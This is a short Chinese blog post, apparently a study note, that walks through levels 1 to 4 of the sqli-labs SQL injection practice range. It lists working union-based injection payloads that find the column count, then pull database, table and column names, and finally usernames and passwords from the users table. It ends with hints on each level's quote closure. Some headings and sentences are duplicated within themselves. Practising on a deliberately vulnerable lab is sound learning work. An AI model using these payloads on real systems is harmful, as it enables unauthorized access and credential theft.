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ps：sqlilabs是一个sql注入无人不知无人不晓的靶场，最近终于体会到了被支配的恐惧，赶紧把会的那一点写下来省的以后再
忘…

sqlilabs系列系列

基础篇基础篇1-4 union联合注入联合注入

其实其实1-4题的内容和难度几乎一摸一样就是闭合方式不同而已题的内容和难度几乎一摸一样就是闭合方式不同而已  而且看过上一篇的直接把payload粘过来就基本得到答案了…
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还是这个流程 只不过这里要加一个判断 通常情况下因为在界面回显sql语句时字符型默认加一个字符型默认加一个 ‘ ’ 所以我们将1后面的内容去掉

一个单引号即可得到闭合方式，由此可知闭合方式为 ') 此图可证：

//
id=1') order by 4 --+
id=1') union select 1,2,3 --+
id=-1') union select 1,group_concat(database()),3 --+
id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -
-+
id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'
 and table_name='users' --+
id=-1') union select 1,group_concat(username,0x5c,password),3 from security.users --+

这段实在是太套路了 没啥可说 有需要了解原理的小伙伴可以看上一篇union注入原理

最后结果

hint

前四题

1. 字符型 单引号

2. 数字型 无符号

3. 字符型 单引号括号

4. 字符型 双引号括号

（未完待续）
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